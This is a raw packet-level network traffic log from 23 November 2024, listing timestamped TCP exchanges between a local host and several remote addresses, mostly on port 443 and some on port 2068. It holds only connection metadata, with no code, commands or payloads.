Nov 23, 2024 21:13:24.541409969 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.541409969 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.541426897 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.541445971 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.543971062 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.544075966 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.544306993 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.544306993 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.544410944 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.304471970 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.305093050 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.305124044 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.305737019 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.305743933 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.491801023 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.492374897 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.492460966 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.493012905 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.493022919 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.598686934 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.599369049 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.599385023 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.600483894 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.600490093 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.752135038 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.755398035 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.755458117 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.755459070 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.755507946 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.755572081 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.755585909 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.800501108 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.800544024 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:25.800616026 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.805646896 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:25.805661917 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.138540030 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.141777992 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.146569967 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.155670881 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.160429955 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.167562008 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.262980938 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.262981892 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.263039112 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.263084888 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.264384031 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.264384031 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.264413118 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.264426947 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.268178940 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.268222094 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.269498110 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.269592047 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.269917011 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.269917011 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.269989967 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.270232916 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.270232916 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.270272970 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.301486969 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.309448004 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.309448004 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.309484959 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.309504032 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.346710920 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.347364902 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.347398996 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.347892046 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.347902060 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.795356035 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.795452118 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.799499035 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.799629927 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.799652100 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.799664021 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.799670935 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.806891918 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.806930065 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.807318926 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.807483912 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.807496071 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.840795994 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.840833902 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.840893030 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.840925932 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.841104984 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.841152906 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.841152906 CET	49994	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.841180086 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.841192007 CET	443	49994	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.845006943 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.845110893 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:26.845360041 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.845551968 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:26.845599890 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:27.254370928 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:27.254602909 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:27.254658937 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:27.330668926 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:27.451951981 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:27.611515045 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:27.611598969 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:27.706908941 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:27.707446098 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:27.707479000 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:27.707914114 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:27.707918882 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.088825941 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.089332104 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.089353085 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.089885950 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.089890957 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.120701075 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.121201992 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.121273041 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.121711969 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.121728897 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.159529924 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.162595987 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.162713051 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.163110971 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.163125038 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.163178921 CET	49995	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.163184881 CET	443	49995	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.166552067 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.166589975 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.166811943 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.166989088 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.167004108 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.537496090 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.540635109 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.540745974 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.540939093 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.541565895 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.541565895 CET	49996	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.541582108 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.541589975 CET	443	49996	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.547457933 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.547513962 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.547692060 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.551451921 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.551470041 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.571089983 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.571094036 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.571496964 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.571592093 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.571962118 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.571976900 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.574181080 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.575539112 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.575618029 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.575618029 CET	49997	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.575655937 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.575699091 CET	443	49997	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.579448938 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.579504967 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.580101967 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.583450079 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.583467960 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.657741070 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.664300919 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.664344072 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.664937019 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:28.664942980 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:28.985333920 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:29.010623932 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.010881901 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.010953903 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.010953903 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.011004925 CET	49999	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.011027098 CET	443	49999	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.014664888 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.014724970 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.014792919 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.014928102 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.014946938 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.116451979 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.119900942 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.119951010 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.119971037 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.119987011 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.120040894 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.120125055 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.120141029 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.120155096 CET	49998	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.120161057 CET	443	49998	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.124147892 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.124248981 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.124330044 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.124581099 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:29.124609947 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:29.124650955 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:29.124700069 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:29.244227886 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:29.244328022 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:29.365936041 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:29.365988970 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:29.489048958 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:29.489101887 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:29.614794970 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:29.813581944 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:29.933276892 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:29.933334112 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:30.035645008 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.036226988 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.036257982 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.036762953 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.036772013 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.054359913 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:30.299860954 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.300491095 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.300525904 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.303472042 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.303479910 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.354269028 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.358206034 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.358227015 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.358778000 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.358783960 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.517090082 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.517204046 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.518050909 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.518094063 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.518094063 CET	50000	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.518105984 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.518114090 CET	443	50000	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.523494959 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.523531914 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.528101921 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.528101921 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.528130054 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.735244036 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.738043070 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.739622116 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.739622116 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.739622116 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.747463942 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.747508049 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.748106003 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.748106003 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.748136044 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.790702105 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.794142962 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.795697927 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.795697927 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.795874119 CET	50002	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.795893908 CET	443	50002	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.803548098 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.803592920 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.807708025 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.807708025 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.807739019 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.886461020 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.887955904 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.888003111 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:30.891496897 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:30.891525984 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.028245926 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.028784037 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.028835058 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.029474020 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.029493093 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.047350883 CET	50001	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.047401905 CET	443	50001	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.329109907 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.332191944 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.332864046 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.334249020 CET	50003	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.334274054 CET	443	50003	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.337343931 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.337388992 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.337518930 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.337758064 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.337769032 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.518157959 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.521230936 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.521277905 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.521296024 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.521308899 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.521357059 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.521378040 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.521393061 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.521403074 CET	50004	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.521408081 CET	443	50004	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.524677992 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.524727106 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:31.524786949 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.524997950 CET	50009	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:31.525022984 CET	443	50009	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.432674885 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:32.435895920 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.436485052 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.436505079 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.437143087 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.437146902 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.552198887 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:32.584041119 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.587941885 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.587954044 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.588466883 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.588471889 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.695355892 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.696341038 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.696341038 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.696367979 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.696383953 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.893644094 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.896939993 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.899555922 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.899605036 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.899605036 CET	50005	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.899621010 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.899632931 CET	443	50005	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.902163982 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.902203083 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:32.903585911 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.907469034 CET	50010	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:32.907485962 CET	443	50010	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.034369946 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.037481070 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.037539959 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.037616968 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.037635088 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.037679911 CET	50007	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.037686110 CET	443	50007	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.040884018 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.040935040 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.040999889 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.041196108 CET	50011	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.041212082 CET	443	50011	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.067378998 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.068099022 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.068125010 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.068957090 CET	50008	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.068965912 CET	443	50008	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.158494949 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.161706924 CET	443	50006	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:33.161767006 CET	50006	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:33.161801100 CET	443	50006	13.107.246.63	192.168.2.4
